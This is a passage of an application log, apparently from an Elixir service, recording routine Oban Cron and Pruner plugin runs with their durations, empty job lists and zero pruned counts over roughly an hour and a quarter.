{"source":"oban","duration":169,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:51:27.893 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:51:57.896 [info] {"source":"oban","duration":1585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:52:00.704 [info] {"source":"oban","duration":139,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:52:27.897 [info] {"source":"oban","duration":546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:52:57.900 [info] {"source":"oban","duration":1665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:53:00.705 [info] {"source":"oban","duration":168,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:53:27.903 [info] {"source":"oban","duration":1541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:53:57.905 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:54:00.706 [info] {"source":"oban","duration":154,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:54:27.908 [info] {"source":"oban","duration":1571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:54:57.911 [info] {"source":"oban","duration":1542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:55:00.707 [info] {"source":"oban","duration":157,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:55:27.914 [info] {"source":"oban","duration":1562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:55:57.917 [info] {"source":"oban","duration":1586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:56:00.708 [info] {"source":"oban","duration":147,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:56:27.920 [info] {"source":"oban","duration":1522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:56:57.923 [info] {"source":"oban","duration":1923,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:57:00.709 [info] {"source":"oban","duration":126,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:57:27.926 [info] {"source":"oban","duration":1916,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:57:57.929 [info] {"source":"oban","duration":1895,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:58:00.710 [info] {"source":"oban","duration":145,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:58:27.932 [info] {"source":"oban","duration":1877,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:58:57.935 [info] {"source":"oban","duration":1513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:59:00.711 [info] {"source":"oban","duration":154,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:59:27.938 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:59:57.941 [info] {"source":"oban","duration":1608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:00:00.712 [info] {"source":"oban","duration":160,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:00:27.944 [info] {"source":"oban","duration":1535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:00:57.947 [info] {"source":"oban","duration":1556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:01:00.713 [info] {"source":"oban","duration":148,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:01:27.950 [info] {"source":"oban","duration":1557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:01:57.953 [info] {"source":"oban","duration":1615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:02:00.714 [info] {"source":"oban","duration":175,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:02:27.956 [info] {"source":"oban","duration":2085,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:02:57.959 [info] {"source":"oban","duration":1554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:03:00.715 [info] {"source":"oban","duration":230,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:03:27.962 [info] {"source":"oban","duration":1911,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:03:57.965 [info] {"source":"oban","duration":1555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:04:00.716 [info] {"source":"oban","duration":164,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:04:27.968 [info] {"source":"oban","duration":1654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:04:57.971 [info] {"source":"oban","duration":2023,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:05:00.717 [info] {"source":"oban","duration":152,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:05:27.974 [info] {"source":"oban","duration":1815,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:05:57.977 [info] {"source":"oban","duration":1565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:06:00.718 [info] {"source":"oban","duration":252,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:06:27.979 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:06:57.981 [info] {"source":"oban","duration":1629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:07:00.719 [info] {"source":"oban","duration":156,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:07:27.984 [info] {"source":"oban","duration":1738,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:07:57.987 [info] {"source":"oban","duration":1564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:08:00.720 [info] {"source":"oban","duration":148,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:08:27.990 [info] {"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:08:57.992 [info] {"source":"oban","duration":2287,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:09:00.721 [info] {"source":"oban","duration":155,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:09:27.995 [info] {"source":"oban","duration":1950,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:09:57.998 [info] {"source":"oban","duration":2071,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:10:00.723 [info] {"source":"oban","duration":463,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:10:28.001 [info] {"source":"oban","duration":1517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:10:58.004 [info] {"source":"oban","duration":1702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:11:00.724 [info] {"source":"oban","duration":167,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:11:28.007 [info] {"source":"oban","duration":1664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:11:58.010 [info] {"source":"oban","duration":1535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:12:00.725 [info] {"source":"oban","duration":157,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:12:28.013 [info] {"source":"oban","duration":2266,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:12:58.016 [info] {"source":"oban","duration":1599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:13:00.726 [info] {"source":"oban","duration":238,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:13:28.019 [info] {"source":"oban","duration":1710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:13:58.022 [info] {"source":"oban","duration":1883,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:14:00.727 [info] {"source":"oban","duration":154,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:14:28.025 [info] {"source":"oban","duration":2089,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:14:58.028 [info] {"source":"oban","duration":1734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:15:00.728 [info] {"source":"oban","duration":186,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:15:28.031 [info] {"source":"oban","duration":1687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:15:58.034 [info] {"source":"oban","duration":1569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:16:00.729 [info] {"source":"oban","duration":161,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:16:28.037 [info] {"source":"oban","duration":1563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:16:58.040 [info] {"source":"oban","duration":1603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:17:00.730 [info] {"source":"oban","duration":168,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:17:28.043 [info] {"source":"oban","duration":1540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:17:58.045 [info] {"source":"oban","duration":1358,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:18:00.731 [info] {"source":"oban","duration":148,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:18:28.048 [info] {"source":"oban","duration":1672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:18:58.051 [info] {"source":"oban","duration":2027,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:19:00.732 [info] {"source":"oban","duration":203,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:19:28.054 [info] {"source":"oban","duration":1571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:19:58.057 [info] {"source":"oban","duration":1552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:20:00.733 [info] {"source":"oban","duration":181,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:20:28.060 [info] {"source":"oban","duration":1683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:20:58.062 [info] {"source":"oban","duration":460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:21:00.734 [info] {"source":"oban","duration":187,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:21:28.064 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:21:58.067 [info] {"source":"oban","duration":2131,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:22:00.735 [info] {"source":"oban","duration":195,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:22:28.070 [info] {"source":"oban","duration":2011,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:22:58.073 [info] {"source":"oban","duration":1882,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:23:00.736 [info] {"source":"oban","duration":151,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:23:28.076 [info] {"source":"oban","duration":1656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:23:58.079 [info] {"source":"oban","duration":1602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:24:00.737 [info] {"source":"oban","duration":203,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:24:28.082 [info] {"source":"oban","duration":1662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:24:58.085 [info] {"source":"oban","duration":1580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:25:00.738 [info] {"source":"oban","duration":277,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:25:28.087 [info] {"source":"oban","duration":1734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:25:58.090 [info] {"source":"oban","duration":1610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:26:00.739 [info] {"source":"oban","duration":225,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:26:28.093 [info] {"source":"oban","duration":1658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:26:58.096 [info] {"source":"oban","duration":2053,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:27:00.740 [info] {"source":"oban","duration":323,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:27:28.099 [info] {"source":"oban","duration":1628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:27:58.102 [info] {"source":"oban","duration":1512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:28:00.741 [info] {"source":"oban","duration":262,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:28:28.105 [info] {"source":"oban","duration":1879,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:28:58.109 [info] {"source":"oban","duration":3013,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:29:00.742 [info] {"source":"oban","duration":267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:29:28.112 [info] {"source":"oban","duration":1668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:29:58.115 [info] {"source":"oban","duration":1803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:30:00.743 [info] {"source":"oban","duration":329,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:30:28.118 [info] {"source":"oban","duration":1534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:30:58.121 [info] {"source":"oban","duration":1578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:31:00.744 [info] {"source":"oban","duration":287,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:31:28.124 [info] {"source":"oban","duration":1542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:31:58.127 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:32:00.745 [info] {"source":"oban","duration":282,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:32:28.130 [info] {"source":"oban","duration":1625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:32:58.133 [info] {"source":"oban","duration":1534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:33:00.746 [info] {"source":"oban","duration":307,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:33:28.135 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:33:58.138 [info] {"source":"oban","duration":1600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:34:00.747 [info] {"source":"oban","duration":287,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:34:28.141 [info] {"source":"oban","duration":1530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:34:58.144 [info] {"source":"oban","duration":1664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:35:00.748 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:35:28.147 [info] {"source":"oban","duration":1739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:35:58.150 [info] {"source":"oban","duration":1519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:36:00.749 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:36:28.152 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:36:58.154 [info] {"source":"oban","duration":1559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:37:00.750 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:37:28.157 [info] {"source":"oban","duration":1556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:37:58.160 [info] {"source":"oban","duration":1968,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:38:00.751 [info] {"source":"oban","duration":283,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:38:28.163 [info] {"source":"oban","duration":1659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:38:58.166 [info] {"source":"oban","duration":1605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:39:00.752 [info] {"source":"oban","duration":268,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:39:28.168 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:39:58.170 [info] {"source":"oban","duration":1532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:40:00.753 [info] {"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:40:28.173 [info] {"source":"oban","duration":1570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:40:58.176 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:41:00.754 [info] {"source":"oban","duration":287,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:41:28.179 [info] {"source":"oban","duration":1691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:41:58.182 [info] {"source":"oban","duration":1539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:42:00.755 [info] {"source":"oban","duration":205,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:42:28.183 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:42:58.184 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:43:00.757 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:43:28.186 [info] {"source":"oban","duration":2246,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:43:58.189 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:44:00.757 [info] {"source":"oban","duration":281,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:44:28.192 [info] {"source":"oban","duration":1704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:44:58.195 [info] {"source":"oban","duration":1713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:45:00.758 [info] {"source":"oban","duration":279,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:45:28.198 [info] {"source":"oban","duration":2074,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:45:58.201 [info] {"source":"oban","duration":2140,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:46:00.760 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:46:28.204 [info] {"source":"oban","duration":1848,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:46:58.207 [info] {"source":"oban","duration":1599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:47:00.762 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:47:28.210 [info] {"source":"oban","duration":2032,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:47:58.213 [info] {"source":"oban","duration":1543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:48:00.763 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:48:28.215 [info] {"source":"oban","duration":1555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:48:58.218 [info] {"source":"oban","duration":1807,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:49:00.765 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:49:28.221 [info] {"source":"oban","duration":1571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:49:58.224 [info] {"source":"oban","duration":1602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:50:00.767 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:50:28.227 [info] {"source":"oban","duration":1539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:50:58.230 [info] {"source":"oban","duration":1910,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:51:00.768 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:51:28.233 [info] {"source":"oban","duration":1526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:51:58.234 [info] {"source":"oban","duration":1489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:52:00.768 [info] {"source":"oban","duration":228,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:52:28.237 [info] {"source":"oban","duration":1913,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:52:58.240 [info] {"source":"oban","duration":1873,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:53:00.770 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:53:28.242 [info] {"source":"oban","duration":1518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:53:58.245 [info] {"source":"oban","duration":1944,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:54:00.771 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:54:28.248 [info] {"source":"oban","duration":1499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:54:58.251 [info] {"source":"oban","duration":1531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:55:00.773 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:55:28.254 [info] {"source":"oban","duration":1533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:55:58.256 [info] {"source":"oban","duration":1659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:56:00.774 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:56:28.259 [info] {"source":"oban","duration":1700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:56:58.262 [info] {"source":"oban","duration":1862,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:57:00.775 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:57:28.265 [info] {"source":"oban","duration":2047,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:57:58.268 [info] {"source":"oban","duration":1938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:58:00.776 [info] {"source":"oban","duration":269,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:58:28.271 [info] {"source":"oban","duration":1673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:58:58.274 [info] {"source":"oban","duration":2048,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:59:00.777 [info] {"source":"oban","duration":264,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:59:28.277 [info] {"source":"oban","duration":1542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:59:58.280 [info] {"source":"oban","duration":1543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:00:00.779 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:00:28.283 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:00:58.286 [info] {"source":"oban","duration":1597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:01:00.781 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:01:28.289 [info] {"source":"oban","duration":1491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:01:58.292 [info] {"source":"oban","duration":1878,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:02:00.781 [info] {"source":"oban","duration":283,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:02:28.295 [info] {"source":"oban","duration":1545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:02:58.298 [info] {"source":"oban","duration":1557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:03:00.783 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:03:28.301 [info] {"source":"oban","duration":1554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:03:58.303 [info] {"source":"oban","duration":1530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:04:00.784 [info] {"source":"oban","duration":330,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:04:28.306 [info] {"source":"oban","duration":1561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:04:58.309 [info] {"source":"oban","duration":1556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:05:00.785 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:05:28.312 [info] {"source":"oban","duration":1591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:05:58.315 [info] {"source":"oban","duration":1521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:06:00.786 [info] {"source":"oban","duration":464,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:06:28.318 [info] {"source":"oban","duration":1622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:06:58.320 [info] {"source":"oban","duration":1506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:07:00.788 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:07:28.323 [info] {"source":"oban","duration":1521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:07:58.326 [info] {"source":"oban","duration":1534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:08:00.789 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:08:28.329 [info] {"source":"oban","duration":1530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:08:58.332 [info] {"source":"oban","duration":1629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:09:00.791 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:09:28.335 [info] {"source":"oban","duration":2088,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:09:58.338 [info] {"source":"oban","duration":2079,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:10:00.792 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:10:28.341 [info] 